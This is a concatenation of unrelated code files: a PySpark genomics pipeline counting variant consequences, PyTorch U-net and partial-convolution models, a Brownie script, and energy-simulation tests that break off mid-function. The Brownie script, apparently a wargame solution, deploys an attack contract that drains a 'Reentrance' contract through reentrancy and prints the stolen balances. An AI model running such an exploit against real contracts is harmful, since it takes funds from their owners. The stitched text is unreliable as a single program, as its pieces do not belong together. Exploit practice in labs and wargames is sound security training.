        "colocated_variants",
        "intergenic_consequences",
        'most_severe_consequence',
        'motif_feature_consequences',
        'regulatory_feature_consequences',
    )
)

exploded_df.printSchema()

transcript_consequences = exploded_df.select(
    "*",
    f.struct(*[
        f.array_contains("transcript_consequence.consequence_terms", name).cast("byte").alias(name)
        for name in csq_terms["transcript_consequences"].iloc[:,0].values
    ]).alias("consequences"),
    f.struct(*[
        (f.col("transcript_consequence.impact") == name).alias(name)
        for name in IMPACT_LEVELS
    ]).alias("impact_level"),
    f.struct(*[
        (f.col("transcript_consequence.lof") == name).alias(name)
        for name in LOF_LEVELS
    ]).alias("lof_level"),
)
transcript_consequences.printSchema()

# + {"active": ""}
# # unused
#
# def array_to_onehot_columns(df, input_col, output_col):
#     from pyspark.ml.feature import CountVectorizer
#
#     vectorizer = CountVectorizer(inputCol=input_col, outputCol=output_col, binary=True).fit(df)
#     transformed_df = vectorizer.transform(df)
#     vocabulary = vectorizer.vocabulary
#
#     udf_to_array = f.udf(lambda v: v.toArray().tolist(), 'array<double>')
#
#     transformed_df = (
#         transformed_df
#         .withColumn(output_col, udf_to_array(output_col)) \
#         .withColumn(output_col, f.struct(*[
#             f.col(output_col)[i].astype('boolean').alias(vocabulary[i]) for i in range(len(vocabulary))
#         ]))
#     )
#
#     return transformed_df
# -

gtex_with_consequences = gtex_singlegt.withColumn("start", f.expr("start + 1")).join(
    transcript_consequences.withColumnRenamed("seq_region_name", "contigName"),
    ["contigName", "start", "end"],
    how="inner"
)

gtex_with_consequences.printSchema()

grouped_df = gtex_with_consequences.groupby(
    "contigName",
    "genotype.gt.sampleId",
    "genotype.num_alt_alleles",
    "transcript_consequence.gene_id"
)

# +
counts = grouped_df.agg(
    f.struct(*[
        # sum booleans as (0, 1) integer types
        f.sum(
            f.col("consequences." + c).cast("int")
        ).alias(c)
        for c in transcript_consequences.schema["consequences"].dataType.fieldNames()
    ]).alias("consequences"),
    f.struct(*[
        # sum booleans as (0, 1) integer types
        f.sum(
            f.col("impact_level." + c).cast("int")
        ).alias(c)
        for c in transcript_consequences.schema["impact_level"].dataType.fieldNames()
    ]).alias("impact_level"),
    f.struct(*[
        # sum booleans as (0, 1) integer types
        f.sum(
            f.col("lof_level." + c).cast("int")
        ).alias(c)
        for c in transcript_consequences.schema["lof_level"].dataType.fieldNames()
    ]).alias("lof_level"),
    f.struct(*[
        f.min(f.col("transcript_consequence.sift_score")).alias("sift_min"),
        f.mean(f.col("transcript_consequence.sift_score")).alias("sift_mean"),
        f.max(f.col("transcript_consequence.sift_score")).alias("sift_max"),
        f.min(f.col("transcript_consequence.polyphen_score")).alias("polyphen_min"),
        f.mean(f.col("transcript_consequence.polyphen_score")).alias("polyphen_mean"),
        f.max(f.col("transcript_consequence.polyphen_score")).alias("polyphen_max"),
        f.min(f.col("transcript_consequence.cadd_raw")).alias("cadd_min"),
        f.mean(f.col("transcript_consequence.cadd_raw")).alias("cadd_mean"),
        f.max(f.col("transcript_consequence.cadd_raw")).alias("cadd_max"),
    ]).alias("scores"),

)
# -

counts.printSchema()

counts = counts.groupby("contigName", "gene_id", "sampleId").pivot("num_alt_alleles", [1, 2]).agg(
    f.struct([
        f.struct(*[
            f.sum(f.col("consequences." + c)).alias(c)
            for c in counts.schema["consequences"].dataType.fieldNames()
        ]).alias("consequences"),
        f.struct(*[
            f.sum(f.col("impact_level." + c)).alias(c)
            for c in counts.schema["impact_level"].dataType.fieldNames()
        ]).alias("impact_level"),
        f.struct(*[
            f.sum(f.col("lof_level." + c)).alias(c)
            for c in counts.schema["lof_level"].dataType.fieldNames()
        ]).alias("lof_level"),
        f.struct(*[
            f.sum(f.col("scores." + c)).alias(c)
            for c in counts.schema["scores"].dataType.fieldNames()
        ]).alias("scores"),
    ])
)

counts = counts.withColumnRenamed("1", "heterozygous").withColumnRenamed("2", "homozygous")

counts.printSchema()

counts.write.format("delta").save('/s/project/rep/processed/VEP/vep_counts3.deltalake')

written_counts = (
    spark
    .read
    .format('delta')
    .load('/s/project/rep/processed/VEP/vep_counts3.deltalake')
)
displayHead(written_counts)

# +
from pyspark.sql import functions as F
from pyspark.sql.types import DataType, StructType, ArrayType
from pyspark.sql import DataFrame
import re

def __rename_nested_field__(in_field: DataType, fieldname_normaliser):
	if isinstance(in_field, ArrayType):
		dtype = ArrayType(__rename_nested_field__(in_field.elementType, fieldname_normaliser), in_field.containsNull)
	elif isinstance(in_field, StructType):
		dtype = StructType()
		for field in in_field.fields:
			dtype.add(fieldname_normaliser(field.name), __rename_nested_field__(field.dataType, fieldname_normaliser))
	else:
		dtype = in_field
	return dtype

def __normalise_fieldname__(raw: str):
	return re.sub('[^A-Za-z0-9_]+', '_', raw.strip())

def __get_fields_info__(dtype: DataType, name: str = ""):
	ret = []
	if isinstance(dtype, StructType):
		for field in dtype.fields:
			for child in __get_fields_info__(field.dataType, field.name):
				wrapped_child = ["{prefix}{suffix}".format(
					prefix=("" if name == "" else "`{}`.".format(name)), suffix=child[0])] + child[1:]
				ret.append(wrapped_child)
	elif isinstance(dtype, ArrayType) and (
			isinstance(dtype.elementType, ArrayType) or isinstance(dtype.elementType, StructType)):
		for child in __get_fields_info__(dtype.elementType):
			wrapped_child = ["`{}`".format(name)] + child
			ret.append(wrapped_child)
	else:
		return [["`{}`".format(name)]]
	return ret

def normalise_fields_names(df: DataFrame, fieldname_normaliser=__normalise_fieldname__):
	return df.select([
		F.col("`{}`".format(field.name)).cast(__rename_nested_field__(field.dataType, fieldname_normaliser))
			.alias(fieldname_normaliser(field.name)) for field in df.schema.fields
	])

def flatten(df: DataFrame, fieldname_normaliser=__normalise_fieldname__):
	cols = []
	for child in __get_fields_info__(df.schema):
		if len(child) > 2:
			ex = "x.{}".format(child[-1])
			for seg in child[-2:0:-1]:
				if seg != '``':
					ex = "transform(x.{outer}, x -> {inner})".format(outer=seg, inner=ex)
			ex = "transform({outer}, x -> {inner})".format(outer=child[0], inner=ex)
		else:
			ex = ".".join(child)
		cols.append(F.expr(ex).alias(fieldname_normaliser("_".join(child).replace('`', ''))))
	return df.select(cols)
# -

flattened_counts = flatten(written_counts, lambda name: name)
flattened_counts.printSchema()

flattened_counts.write.format("delta").save('/s/project/rep/processed/VEP/vep_counts_flattened3.deltalake')

displayHead(flattened_counts)


import torch
from torch import nn
import torch.nn.functional as F
from typing import List, Callable, ClassVar
from collections import namedtuple
from copy import deepcopy
from .nvidia import PartialConv2d as PC2D

class PartiaLConv2d (nn.Conv2d):
    def __init__(self, *args, **kwargs):
        super(PartiaLConv2d, self).__init__(*args, **kwargs)
        self.ones = torch.ones_like(self.weight)
        self.n = self.ones.size(1) * self.ones.size(2) * self.ones.size(3)
        self.mask = None
        self.mask_for_input = None
        self.mask_for_output = None
        self.ratio = None
        self.new_mask = None

    def forward(self, input, mask=None):
        assert input.dim() == 4
        self.mask = mask
        if self.mask is not None:
            with torch.no_grad(): # try removing this
                self.mask_for_input = self.mask.repeat(1, input.size(1), 1, 1) # same number of features as input
                W = self.ones.to(input) # to move to same cuda device as input when necessary
                self.mask_for_output = F.conv2d(self.mask_for_input, W, padding=self.padding, stride=self.stride)
                self.ratio = self.n / (self.mask_for_output + 1e-8)
                self.mask_for_output = self.mask_for_output.clamp(0, 1)
                self.ratio = self.ratio * self.mask_for_output
            # input = input * self.mask # THIS IS WHAT IS KILLING IT
            output = super(PartiaLConv2d, self).forward(input)
            bias_view = self.bias.view(1, self.out_channels, 1, 1)
            output = ((output - bias_view) * self.ratio) + bias_view
            output = output * self.mask_for_output
            self.new_mask = self.mask_for_output.max(1, keepdim=True)[0] # why [0]?
        else:
            output = super().forward(input)
            self.new_mask = None
        assert output.dim() == 4
        return output, self.new_mask

class PartialTransposeConv2d(nn.ConvTranspose2d):
    def __init__(self, *args, **kwargs):
        super(PartialTransposeConv2d, self).__init__(*args, **kwargs)
        self.ones = torch.ones_like(self.weight)
        self.n = self.ones.size(1) * self.ones.size(2) * self.ones.size(3)
        self.mask = None
        self.mask_for_input = None
        self.mask_for_output = None
        self.ratio = None
        self.new_mask = None

    def forward(self, input, mask=None):
        assert input.dim() == 4
        self.mask = mask
        if self.mask is not None:
            with torch.no_grad():
                self.mask_for_input = self.mask.repeat(1, input.size(1), 1, 1) # same number of features as input
                W = self.ones.to(input) # to move to same cuda device as input when necessary
                self.mask_for_output = F.conv_transpose2d(self.mask_for_input, W, padding=self.padding, stride=self.stride)
                self.ratio = self.n / (self.mask_for_output + 1e-8)
                self.mask_for_output = self.mask_for_output.clamp(0, 1)
                self.ratio = self.ratio * self.mask_for_output
            # input = input * self.mask # in principle not necessary since first input masked and ouptput masked with new mask
            output = super(PartialTransposeConv2d, self).forward(input)
            bias_view = self.bias.view(1, self.out_channels, 1, 1)
            # output = ((output - bias_view) * self.ratio) + bias_view
            # output = output * self.mask_for_output
            self.new_mask = self.mask_for_output.max(1, keepdim=True)[0]
        else:
            output = super().forward(input)
            self.new_mask = None
        assert output.dim() == 4
        return output, self.new_mask

class Hyperparameters:
    """
    The base class to hold model hyperparameters.

    Params and Attributes:
        in_channels (int): the number of input channels (or features).
        hidden_channels (int): the number of channels of the hidden layers.
        out_channels (int): the number of output channesl (or features)
        dropout_rate (float): dropout rate during training
    """

    def __init__(self, in_channels: int=None, hidden_channels: int=None, out_channels: int=None, dropout_rate: float=None):
        self.in_channels = in_channels
        self.hidden_channels = hidden_channels
        self.out_channels = out_channels
        self.dropout_rate = dropout_rate

    def __str__(self):
        return "; ".join([f"{a}={v}" for a, v in self.__dict__.items()])

class Container(nn.Module):
    """
    Base class for 1D or 2D Container models. This class is not meant to be instantiated, only its subclasses.
    It includes an adapter layer that adapts the input channels the desired number of hidden channels.
    It includes a compression layer that adapts the hidden channels to the desired number of output channels.
    Adapter and compression layers have a batch normalization of ReLU;

    Params:
        hp (Hyperparameters): the hyperparameters of the model.
        model (ClassVar): the class of the internal model of the Container (Unet or CatStack, 1d or 2d versions).
        conv (ClassVar): the class of the convolution (nn.Conv1d or nn.Conv2d) used for the adapter and compression layers.
        bn (ClassVar): the class of the BatchNorm layer (nn.BatchNorm1d or nn.BatchNorm2d)
    """

    def __init__(self, hp: Hyperparameters, model: ClassVar, conv: ClassVar, bn: ClassVar):
        super().__init__()
        self.hp = hp
        self.out_channels = self.hp.out_channels
        self.adaptor = conv(self.hp.in_channels, self.hp.hidden_channels, 1, 1)
        self.BN_adapt = bn(self.hp.hidden_channels)
        self.model = model(self.hp)
        self.compress = conv(self.hp.hidden_channels, self.hp.out_channels, 1, 1)
        self.BN_out = bn(self.hp.out_channels)

    def forward(self, x):
        x = self.adaptor(x)
        x = self.BN_adapt(F.elu(x, inplace=True))
        z = self.model(x)
        z = self.compress(z)
        z = self.BN_out(F.elu(z, inplace=True)) # need to try without to see if it messes up average gray level
        return z

class Container1d(Container):
    """
    1D Container model.

    Params:
        hp (Hyperparameters): the hyperparameters of the model.
        model (ClassVar): the class of the internal model of the Container.
    """

    def __init__(self, hp: Hyperparameters, model: ClassVar):
        super().__init__(hp, model, nn.Conv1d,  nn.BatchNorm1d)

class Container2d(Container):
    """
    2D Container model.

    Params:
        hp (Hyperparameters): the hyperparameters of the model.
        model (ClassVar): the class of the internal model of the Container.
    """

    def __init__(self, hp: Hyperparameters, model: ClassVar):
        super().__init__(hp, model, nn.Conv2d,  nn.BatchNorm2d)

class Container2dPC(nn.Module):
    """

    Params:
        hp (Hyperparameters): the hyperparameters of the model.
    """

    def __init__(self, hp: Hyperparameters):
        super().__init__()
        self.hp = hp
        self.out_channels = self.hp.out_channels
        self.adaptor = nn.Conv2d(self.hp.in_channels, self.hp.hidden_channels, 1, 1)
        self.BN_adapt = nn.BatchNorm2d(self.hp.hidden_channels)
        self.model = Unet2dPC(self.hp) # CatStack2dPC(self.hp) #
        self.compress = nn.Conv2d(self.hp.hidden_channels, self.hp.out_channels, 1, 1)
        self.BN_out = nn.BatchNorm2d(self.hp.out_channels)

    def forward(self, x, mask=None):
        x = self.adaptor(x)
        x = self.BN_adapt(F.elu(x, inplace=True))
        z = self.model(x, mask)
        z = self.compress(z)
        z = self.BN_out(F.elu(z, inplace=True)) # need to try without to see if it messes up average gray level
        return z

class HyperparametersUnet(Hyperparameters):
    """
    Hyperparameters for U-net models. Extends the base class Hyperparameters.
    The number of layers (depth) of the U-net is simply specified by giving appropriate list of channels, kernels and stride.

    Usage: a 3 layers U-net is specified with the following hyperparameters
        HyperparametersUnet(
            nf_table=[2,4,8, 16], # 1st layer: 2 -> 4 channels, 2nd layer: 4 -> 8 channels; 3rd layer: 8 -> 16 channels.
            kernel_table=[3,3,3], # the three layers use same kernel 3
            stride_table=[1,1,1], # the three layers use the same stride 1
            pool=True, # pooling switched on
            in_channels=2, # params from base class
            hidden_channels=2, # params from base class
            out_channels=3, # params from base class
            dropout_rate=0.1 # params from base class
        )

    Params and Attributes:
        nf_table (List[int]): the number of channels (features) of each layers in the form [in_channels, out/in_channels, in/out_channels, in/out_channels, ...]
        kernel_table (List[int]): a list of the kernels for each layer.
        stride_table (List[int]): a list of the strides for each layer.
        pool (bool): indicate whether to include a pool/unpool step between layers.
    """

    def __init__(self, nf_table: List[int], kernel_table: List[int], stride_table: List[int], pool:bool, **kwargs):
        super().__init__(**kwargs)
        self.hidden_channels = nf_table[0]
        self.nf_table = nf_table
        self.kernel_table = kernel_table
        self.stride_table = stride_table
        self.pool = pool

class Unet(nn.Module):
    """
    Base class of 1D or 2D U-net models. This class is not meant to be instantiated.
    The U-net is built recursively. The kernel, padding and number of features of each layer is provided as lists in the HyperparamterUnet object.

    Params:
        hp (HyperparameterUnet): the model hyperparameters.
        model (ClassVar): the class of the internal model of the Container (Unet or CatStack, 1d or 2d versions).
        conv (ClassVar): the class of the convolution (nn.Conv1d or nn.Conv2d) used for the descending branch of the U-net.
        convT (ClassVar): the class of the transpose convolution (nn.ConvTranspose1d or nn.ConvTranspose2d) used for the ascending branch of the U-net.
        bn (ClassVar): the class of the BatchNorm layer (nn.BatchNorm1d or nn.BatchNorm2d).
        pool (ClassVar): the class of the pooling layer (F.AvgPool1d or F.AvgPool2d).
    """

    def __init__(self, hp: HyperparametersUnet, conv: ClassVar, convT: ClassVar, bn: ClassVar, pool: Callable):
        super().__init__()
        self.hp = deepcopy(hp) # pop() will modify lists in place
        self.nf_input = self.hp.nf_table[0]
        self.nf_output = self.hp.nf_table[1]
        self.hp.nf_table.pop(0)
        self.kernel = self.hp.kernel_table.pop(0)
        self.stride = self.hp.stride_table.pop(0)
        self.dropout_rate = self.hp.dropout_rate

        self.dropout = nn.Dropout(self.dropout_rate)
        self.conv_down = conv(self.nf_input, self.nf_output, self.kernel, self.stride)
        self.BN_down = bn(self.nf_output)
        self.pool = pool
        self.conv_up = convT(self.nf_output, self.nf_input, self.kernel, self.stride)
        self.BN_up = bn(self.nf_input)

        if len(self.hp.nf_table) > 1:
            self.unet = self.__class__(self.hp)
        else:
            self.unet = None

        # self.reduce = conv(self.nf_input + self.nf_output, self.nf_input, 3, 1, 1)
        self.reduce = conv(2 * self.nf_input, self.nf_input, 3, 1, 1)
        self.BN_out = bn(self.nf_input)

    def forward(self, x):

        y = self.dropout(x)
        y = self.conv_down(y)
        y = self.BN_down(F.relu(y, inplace=True)) # ReLU on down branch

        if self.unet is not None:
            if self.hp.pool:
                y_size = y.size()
                y = self.pool(y, 2, 2)
            y = self.unet(y)
            if self.hp.pool:
                y = F.interpolate(y, y_size[-1])

        y = self.dropout(y) # optional
        y = self.conv_up(y)
        y = self.BN_up(F.elu(y, inplace=True)) # Elu on up branch
        # y = F.interpolate(y, x.size(-1), mode='nearest')
        y = torch.cat((x, y), 1)
        y = self.reduce(y)
        y = self.BN_out(F.elu(y, inplace=True))
        return y

class Unet2dPC(nn.Module):
    """
    Base class of 1D or 2D U-net models. This class is not meant to be instantiated.
    The U-net is built recursively. The kernel, padding and number of features of each layer is provided as lists in the HyperparamterUnet object.

    Params:
        hp (HyperparameterUnet): the model hyperparameters.
    """

    def __init__(self, hp: HyperparametersUnet):
        super().__init__()
        self.hp = deepcopy(hp) # pop() will modify lists in place
        self.nf_input = self.hp.nf_table[0]
        self.nf_output = self.hp.nf_table[1]
        self.hp.nf_table.pop(0)
        self.kernel = self.hp.kernel_table.pop(0)
        self.stride = self.hp.stride_table.pop(0)
        self.dropout_rate = self.hp.dropout_rate

        self.dropout = nn.Dropout(self.dropout_rate)
        self.conv_down = PartiaLConv2d(self.nf_input, self.nf_output, self.kernel, self.stride)
        self.BN_down = nn.BatchNorm2d(self.nf_output)
        self.pool = F.max_pool2d
        self.conv_up = PartialTransposeConv2d(self.nf_output, self.nf_input, self.kernel, self.stride)
        self.unpool = F.max_unpool2d
        self.BN_up = nn.BatchNorm2d(self.nf_input)

        if len(self.hp.nf_table) > 1:
            self.unet = self.__class__(self.hp)
        else:
            self.unet = None

        self.reduce = nn.Conv2d(2*self.nf_input, self.nf_input, 1, 1)
        self.BN_out = nn.BatchNorm2d(self.nf_input)

    def forward(self, x, mask=None):

        y = self.dropout(x)
        y, new_mask = self.conv_down(y, mask)
        y = self.BN_down(F.elu(y, inplace=True))

        if self.unet is not None:
            if self.hp.pool:
                y_size = y.size()
                y, indices = self.pool(y, 2, stride=2, return_indices=True)
                if new_mask is not None:
                    new_mask_size = new_mask.size()
                    new_mask, mask_indices = self.pool(new_mask, 2, stride=2, return_indices=True)
            y = self.unet(y, new_mask)
            if self.hp.pool:
                y = self.unpool(y, indices, 2, stride=2, output_size=list(y_size)) # list(y_size) is to fix a bug in torch 1.0.1; not need in 1.4.0
                if new_mask is not None:
                    new_mask = self.unpool(new_mask, mask_indices, 2, stride=2, output_size=list(new_mask_size))
        y = self.dropout(y)
        y, _ = self.conv_up(y, new_mask)
        y = self.BN_up(F.elu(y, inplace=True))
        # y = torch.cat((x, y), 1)
        # y = self.reduce(y)
        y = self.BN_out(F.elu(y, inplace=True))
        return y

class Unet1d(Unet):
    """
    1D U-net.

    Params:
        hp (HyperparametersUnet): the U-net hyperparameters.
    """

    def __init__(self, hp: HyperparametersUnet):
        super().__init__(hp, nn.Conv1d, nn.ConvTranspose1d, nn.BatchNorm1d, F.avg_pool1d)

class Unet2d(Unet):
    """
    2D U-net.

    Params:
        hp (HyperparametersUnet): the U-net hyperparameters.
    """

    def __init__(self, hp: HyperparametersUnet):
        super().__init__(hp, nn.Conv2d, nn.ConvTranspose2d, nn.BatchNorm2d, F.avg_pool2d)

class HyperparametersCatStack(Hyperparameters):
    """
    Hyperparameters for CatStack models. Extends the base class Hyperparameters.

    Usage: a 3 layers U-net is specified with the following hyperparameters
        HyperparametersUnet(
            N_layers=2,
            kernel=7,
            padding=3,
            stride=1
            in_channels=2, # params from base class
            hidden_channels=2, # params from base class
            out_channels=3, # params from base class
            dropout_rate=0.1 # params from base class
        )

    Params and Attributes:
        N_layers (int): the number of layers.
        kernel (int): kernel of the convoclution step.
        padding (int): padding added to each convolution.
        stride (int): stride of the convolution.
    """

    def __init__(self, N_layers, kernel, padding, stride, **kwargs):
        super().__init__(**kwargs)
        self.N_layers = N_layers
        self.kernel = kernel
        self.padding = padding
        self.stride = stride

class ConvBlock(nn.Module):
    """
    Base class of a convolution block including a batchnomr of ReLU.
    This class is not meant to be instantiated.

    Params:
        hp (Hyperparameters):
        conv (ClassVar): the class of the convolution (nn.Conv1d or nn.Conv2d) used for the adapter and compression layers.
        bn (ClassVar): the class of the BatchNorm layer (nn.BatchNorm1d or nn.BatchNorm2d)
    """

    def __init__(self, hp: Hyperparameters, conv:ClassVar, bn: ClassVar):
        self.hp = hp
        super().__init__()
        self.dropout = nn.Dropout(self.hp.dropout_rate)
        self.conv = conv(self.hp.hidden_channels, self.hp.hidden_channels, self.hp.kernel, self.hp.stride, self.hp.padding)
        self.BN = bn(self.hp.hidden_channels)

    def forward(self, x):
        x = self.dropout(x)
        x = self.conv(x)
        x = self.BN(F.elu(x, inplace=True))
        return x

class ConvBlock2dPC(nn.Module):
    """
    Base class of a partial convolution block including a batchnomr of ReLU.

    Params:
        hp (Hyperparameters):
    """

    def __init__(self, hp: Hyperparameters):
        self.hp = hp
        super().__init__()
        self.dropout = nn.Dropout(self.hp.dropout_rate)
        self.conv = PartiaLConv2d(self.hp.hidden_channels, self.hp.hidden_channels, self.hp.kernel, self.hp.stride, self.hp.padding) #, multi_channel=True, return_mask=True)
        self.BN = nn.BatchNorm2d(self.hp.hidden_channels)

    def forward(self, x, mask=None):
        x = self.dropout(x)
        x, mask = self.conv(x, mask)
        x = self.BN(F.elu(x, inplace=True))
        assert x.dim() == 4
        return x, mask

class CatStack2dPC(nn.Module):
    """
    Base class for a CatStack model made of a concatenated stack of convolution blocks.

    Params:
        hp (HyperparametersCatStack)
    """

    def __init__(self, hp: HyperparametersCatStack):
        super().__init__()
        self.hp = hp
        self.conv_stack = nn.ModuleList()
        for i in range(self.hp.N_layers):
            self.conv_stack.append(ConvBlock2dPC(hp))
        self.reduce = nn.Conv2d((1 + self.hp.N_layers) * self.hp.hidden_channels, self.hp.hidden_channels, 1, 1)
        self.BN = nn.BatchNorm2d(self.hp.hidden_channels)

    def forward(self, x, mask=None):
        x_list = [x]
        for i in range(self.hp.N_layers):
            x, mask  = self.conv_stack[i](x, mask)
            x_list.append(x)
        x = torch.cat(x_list, 1)
        x = self.reduce(x)
        y = self.BN(F.elu(x, inplace=True))
        assert y.dim() == 4
        return y

class CatStack(nn.Module):
    """
    Base class for a CatStack model made of a concatenated stack of convolution blocks. This class is not meant to be instantiated.

    Params:
        hp (HyperparametersCatStack):
        conv (ClassVar): the class of the convolution (nn.Conv1d or nn.Conv2d) used for the adapter and compression layers.
        bn (ClassVar): the class of the BatchNorm layer (nn.BatchNorm1d or nn.BatchNorm2d)
        conv_block (ClassVar): the class of convolution block to build the stack.
    """

    def __init__(self, hp: HyperparametersCatStack, conv: ClassVar, bn: ClassVar, conv_block: ClassVar):
        super().__init__()
        self.hp = hp
        self.conv_stack = nn.ModuleList()
        for i in range(self.hp.N_layers):
            self.conv_stack.append(conv_block(hp))
        self.reduce = conv((1 + self.hp.N_layers) * self.hp.hidden_channels, self.hp.hidden_channels, 1, 1)
        self.BN = bn(self.hp.hidden_channels)

    def forward(self, x):
        x_list = [x]
        for i in range(self.hp.N_layers):
            x = self.conv_stack[i](x)
            x_list.append(x)
        x = torch.cat(x_list, 1)
        x = self.reduce(x)
        y = self.BN(F.elu(x, inplace=True))
        return y

class Autoencoder1d(nn.Module):
    """
    An 1D autoencoder based on a Container1d with CatStack1d.
    The Container1d layer is followed by a reduction layer that addpats the number of output channels
    to be equal to the number of input channels.

    Params:
        hp (HyperParametersCatStack): hyperparameters of the internal CatStack1d model.
    """

    def __init__(self, hp: Hyperparameters, model: ClassVar):
        super(Autoencoder1d, self).__init__()
        self.in_channels = hp.in_channels
        self.hp = hp
        self.embed = Container1d(hp=self.hp, model=model)
        self.reduce = nn.Conv1d(self.embed.out_channels, self.in_channels, 1, 1)

    def forward(self, x):
        y = self.embed(x)
        y = self.reduce(F.elu(y))
        return y

class ConvBlock1d(ConvBlock):
    """
    A 1D convolution block.

    Params:
        hp (HyperparametersUnet): the U-net hyperparameters.
    """

    def __init__(self, hp: HyperparametersCatStack):
        super().__init__(hp, nn.Conv1d,  nn.BatchNorm1d)

class CatStack1d(CatStack):
    """
    A 1D stracked convolution CatStack model.

    Params:
        hp (HyperparametersUnet): hyperparameters.
    """

    def __init__(self, hp: HyperparametersCatStack):
        super().__init__(hp, nn.Conv1d,  nn.BatchNorm1d, ConvBlock1d)

class ConvBlock2d(ConvBlock):
    """
    A 2D convolution block.

    Params:
        hp (HyperparametersUnet): hyperparameters.
    """

    def __init__(self, hp: HyperparametersCatStack):
        super().__init__(hp, nn.Conv2d,  nn.BatchNorm2d)

class CatStack2d(CatStack):
    """
    A 2D stracked convolution CatStack model.

    Params:
        hp (HyperparametersUnet): hyperparameters.
    """

    def __init__(self, hp: HyperparametersCatStack):
        super().__init__(hp, nn.Conv2d, nn.BatchNorm2d, ConvBlock2d)

def self_test():
    hpcs = HyperparametersCatStack(N_layers=2, kernel=7, padding=3, stride=1, in_channels=1, out_channels=3, hidden_channels=2, dropout_rate=0.1)
    cs2d = CatStack2d(hpcs)
    cb2d = ConvBlock2d(hpcs)
    cs1d = CatStack1d(hpcs)
    cb1d = ConvBlock1d(hpcs)
    hpun = HyperparametersUnet(nf_table=[2,2,2], kernel_table=[3,3], stride_table=[1,1,1], pool=True, in_channels=1, hidden_channels=2, out_channels=3, dropout_rate=0.1)
    un2d = Unet2d(hpun)
    c1dcs = Container1d(hpcs, CatStack1d)
    c2dcs = Container2d(hpcs, CatStack2d)
    c2dcs_PC = Container2dPC(hpun)
    c1dun = Container1d(hpun, Unet1d)
    c2dun = Container2d(hpun, Unet2d)

    cs1d(torch.ones(2, hpcs.hidden_channels, 100))
    cs2d(torch.ones(2, hpcs.hidden_channels, 10, 10))
    cb1d(torch.ones(2, hpcs.hidden_channels, 100))
    cb2d(torch.ones(2, hpcs.hidden_channels, 10, 10))
    c1dcs(torch.ones(2, hpcs.in_channels, 100))
    c2dcs(torch.ones(2, hpcs.in_channels, 10, 10))
    c1dun(torch.ones(2, hpcs.in_channels, 100))
    c2dun(torch.ones(2, hpcs.in_channels, 10, 10))

    c2dcs_PC(torch.ones(2, hpcs.in_channels, 10, 10),  torch.randint(0, 2,(2, 1, 10, 10)).float())

    print("It seems to work: all classes could be instantiated and input forwarded.")

def main():
    self_test()

if __name__ == '__main__':
    main()


#!/usr/bin/python3
from brownie import Reentrance, Attack
from scripts.deploy import deploy
from scripts.helpful_scripts import get_account
from colorama import Fore
from web3 import Web3 as w3

# * colours
green = Fore.GREEN
red = Fore.RED
blue = Fore.BLUE
magenta = Fore.MAGENTA
reset = Fore.RESET

# * Rinkeby address : 0x402C04B14625dAcb8f8Db3e535b9B3E210C3dd79
AMOUNT = "0.001 ether"

def convert_fromWei(value):
    return w3.fromWei(value, "ether")

def reentrance(contract_address=None, attacker=None):
    if not contract_address:
        reentrance_contract, owner = deploy()
        contract_address = reentrance_contract.address
        _, attacker = get_account()
    else:
        reentrance_contract = Reentrance.at(contract_address)
    # print(contract_address)
    print(
        f"{green}Current Contract Balance -> {magenta}{convert_fromWei(reentrance_contract.balance())} ETH{reset}"
    )
    # exit(1)
    # * deploy the malicious contract
    atttack_contract = Attack.deploy(
        reentrance_contract.address, AMOUNT, {"from": attacker}
    )
    reentrance_contract.donate(
        atttack_contract.address, {"from": attacker, "amount": AMOUNT}
    )
    atttack_contract.attack({"from": attacker, "allow_revert": True})
    print(f"{red}Attack Successful!!!{reset}")
    print(
        f"{green}Current Contract Balance -> {magenta}{convert_fromWei(reentrance_contract.balance())} ETH{reset}"
    )
    atttack_contract.destroy()
    print(
        f"{green}Balance of the attacker: {red}{convert_fromWei(attacker.balance())}{reset} ETH"
    )

def main(contract_address=None):
    if contract_address:
        reentrance(contract_address, get_account())
    else:
        reentrance()

if __name__ == "__main__":
    main()


from cases import *
import pandas as pd
import scipy.io
import sys
def compare_cases():
    coefs=scipy.io.loadmat("../data/timeseries.mat")
    trend_coefs=pd.read_csv("../data/trends.csv")
    season_coefs=pd.read_csv("../data/season.csv")
    num_years=1
    start_year=2020
    num_simulations=100
    seed=0
    params=[coefs,trend_coefs,season_coefs,num_years,start_year,seed,"independent",0,0]
    cases=[case0(*params[:-2]),case1(*params),case2(*params),case3_1(*params),case3_2(*params),case3_3(*params)]
    for case in cases:
        case.sendable_max=0
        try:
            case.platform_restriction=0
        except:
            pass
        case.simulate_n_years(n=num_simulations)
        assert np.all(np.abs(case.get_CO2()-cases[0].get_CO2())/1e9<1e-12)
compare_cases()
def simulate_5_steps_test(): #Test wether the simulation set up works as intended by more explicitely calculating the results than my for loops
    def coefs_to_function(trend_coef,season_coef,period):
        trendfunc=np.poly1d(trend_coef)
        seasonfunc=np.poly1d(season_coef)
        def seasonfunc_periodic(t):
            return seasonfunc((t-1)%period)
        return (lambda t:seasonfunc_periodic(t*period/52)+trendfunc(t*period/52))
    coefs=scipy.io.loadmat("../data/timeseries.mat")
    trend_coefs=pd.read_csv("../data/trends.csv")
    season_coefs=pd.read_csv("../data/season.csv")
    sigma_windsun=coefs["windsun_sigma"]
    #print(sigma_windsun)
    num_years=1
    start_year=2020
    num_simulations=100
    seed=0
    params=[coefs,trend_coefs,season_coefs,num_years,start_year,seed,0,0]
    testcase=case0(*params[:-2])
    testcase.simulate_n_years(n=1) #Simulate for one year
    simulation_results=testcase.simulation_results[:,:10]/(24*7)
    rng_wind=np.random.default_rng(0)
    rng_load=np.random.default_rng(1)
    rng_water=np.random.default_rng(2)
    order=["wind NO","wind DE","load NO","load DE","water NO","solar DE"]
    periods=[52,52,52,52,13,52]
    functions=[]
    for i in range(6):
        trend=trend_coefs[order[i]]
        season=season_coefs[order[i]]
        functions.append(coefs_to_function(trend,season,period=periods[i]))

    sigma_windsun=coefs["windsun_sigma"]
    matrix_windsun=coefs["windsun_coefs"][0]
    #print(matrix_windsun) #test correctness
    #print(sigma_windsun) #test correctness
    matrix_load_ar1=coefs["load_coefs"][0]
    matrix_load_ar2=coefs["load_coefs"][1]
    matrix_load_ar3=coefs["load_coefs"][2]
    sigma_water=coefs["water_sigma"]
    sigma_load=coefs["load_sigma"]
    #print(matrix_load_ar1);print(matrix_load_ar2);print(matrix_load_ar3);print(sigma_load) #test correctness
    #print(sigma_water)
    random_numbers_windsun=np.zeros((10,3))
    random_numbers_load=np.zeros((10,2))
    for i in range(10):
        random_numbers_windsun[i]=rng_wind.multivariate_normal(np.zeros(3),sigma_windsun)
        random_numbers_load[i]=rng_load.multivariate_normal(np.zeros(2),sigma_load)
    #print(random_numbers_windsun)
